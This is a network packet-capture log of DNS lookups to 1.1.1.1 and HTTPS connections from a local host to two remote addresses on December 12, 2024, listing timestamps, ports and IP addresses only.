Dec 12, 2024 16:46:52.250689983 CET	62389	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:46:52.250873089 CET	55985	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:46:52.385108948 CET	53	54803	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:52.388190985 CET	53	62389	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:52.389424086 CET	53	55985	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:58.776415110 CET	138	138	192.168.2.8	192.168.2.255
Dec 12, 2024 16:47:01.401902914 CET	56928	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:01.402185917 CET	49452	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:01.543103933 CET	53	49452	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:03.786314964 CET	56921	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:03.787362099 CET	59739	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:04.823244095 CET	54097	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:04.823467970 CET	61469	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:04.964132071 CET	53	54097	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:05.053323030 CET	53	61469	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.336993933 CET	53202	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.337186098 CET	55579	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.337817907 CET	49889	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.338061094 CET	54039	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.354789972 CET	57682	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.354945898 CET	51014	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.406111002 CET	63677	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.406542063 CET	63273	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.420849085 CET	63729	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.421140909 CET	57467	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.474380970 CET	53	55579	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.474416971 CET	53	53202	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.475053072 CET	53	49889	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.475148916 CET	53	54039	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.492234945 CET	53	51014	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.492512941 CET	53	57682	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.543545961 CET	53	63677	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.543899059 CET	53	63273	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.546046019 CET	52187	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.546180964 CET	62029	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.685719013 CET	53	62029	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:06.757731915 CET	51821	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.758219004 CET	63495	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:47:06.896949053 CET	53	63495	1.1.1.1	192.168.2.8
Dec 12, 2024 16:47:08.806870937 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.038849115 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.112899065 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.346180916 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.716008902 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.902941942 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.902961016 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.903842926 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.903850079 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:09.904490948 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.905927896 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.907689095 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:09.949794054 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.031248093 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.132738113 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.132752895 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.133862019 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.133980989 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.134088993 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.136871099 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.138185978 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.145251989 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.224575996 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.224591017 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.224597931 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.224612951 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.225004911 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.225095034 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.225554943 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.264882088 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.453191042 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.453476906 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.453495026 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.453497887 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.454082012 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.454166889 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.462569952 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.466121912 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.489773989 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.490220070 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.539201975 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.566576004 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:10.778197050 CET	443	62849	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:10.808195114 CET	62849	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:11.917373896 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:11.917536974 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:11.942020893 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:11.942204952 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:12.234046936 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:12.236838102 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:12.236844063 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:12.237188101 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:12.238293886 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.239109039 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.260693073 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:12.261744022 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:12.261980057 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:12.262329102 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:12.551342964 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:12.552110910 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.157566071 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.157643080 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.325114012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.325954914 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.326061010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.326069117 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.326080084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.326400042 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.328545094 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.328686953 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.328942060 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.329045057 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.332488060 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.341514111 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.341588020 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.341597080 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.341643095 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.341918945 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.342353106 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.342482090 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.473237991 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.475511074 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.480336905 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.482156038 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.644054890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.644207954 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.644258022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.644351006 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.644393921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.644443035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.644639969 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.644752979 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.649477005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.649554968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.649816990 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.659472942 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.659507036 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.659555912 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.659568071 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.659576893 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.659950972 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.660171986 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.664594889 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.664638996 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.664874077 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.667176962 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.667402029 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.681231022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.681610107 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.692136049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.702677011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.702898979 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.713015079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.717940092 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.718149900 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.729393005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.738632917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.738873959 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.745594978 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.757477045 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.757702112 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.762451887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.775289059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.775563002 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.780462980 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.784534931 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.784990072 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.800584078 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.800599098 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.800926924 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.801067114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.801573992 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.814702988 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.824342966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.824769020 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.851898909 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.851963043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.851974964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.852072954 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.852283955 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.852283955 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.865957975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.870685101 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.875334024 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.878969908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.887842894 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.889066935 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.898333073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.902723074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.906914949 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.911473036 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.922667980 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.923337936 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.932374001 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.935966969 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.936877012 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.945494890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.953200102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.953381062 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.961405993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.964282036 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.973082066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.977762938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.979240894 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.988864899 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:13.996566057 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:13.996697903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.007137060 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.014336109 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.023013115 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.031780958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.031862020 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.031876087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.032573938 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.032830000 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.034547091 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.035208941 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.041378021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.047192097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.048261881 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.055416107 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.064395905 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.069098949 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.076112032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.080162048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.081410885 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.090747118 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.096755028 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.097210884 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.107331991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.115995884 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.116586924 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.121756077 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.129801989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.135086060 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.141462088 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.148282051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.148533106 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.155560970 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.164505959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.164669037 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.172286987 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.181250095 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.181706905 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.190840960 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.196729898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.197359085 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.206202030 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.213416100 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.213653088 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.220679045 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.228116035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.228375912 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.240458012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.241713047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.241954088 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.249133110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.255820990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.258378029 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.262862921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.269931078 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.274065018 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.279922009 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.284466982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.285350084 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.288667917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.300350904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.300575018 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.301453114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.308002949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.308214903 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.314435959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.314537048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.315182924 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.319549084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.320987940 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.321336985 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.323908091 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.327641964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.327815056 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.331053972 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.336921930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.337162018 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.337351084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.343007088 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.343319893 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.344891071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.349246979 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.349636078 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.350931883 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.351469994 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:14.351622105 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.357561111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.357584000 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.357595921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.357642889 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.357788086 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.381392002 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381829977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381864071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381877899 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381884098 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381889105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381894112 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.381900072 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.382255077 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.384949923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.390033007 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.390211105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.396760941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.396846056 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.396857977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.396895885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.396976948 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.397018909 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.397032022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.397043943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.397196054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.397198915 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.397211075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421380997 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421499968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421574116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421586990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421658039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421749115 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421765089 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421777010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421833038 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.421845913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.422118902 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.449803114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.449879885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:14.450026035 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.476026058 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.515729904 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.515928030 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.597994089 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.598108053 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:14.598786116 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:14.599073887 CET	51057	443	192.168.2.8	23.44.203.13
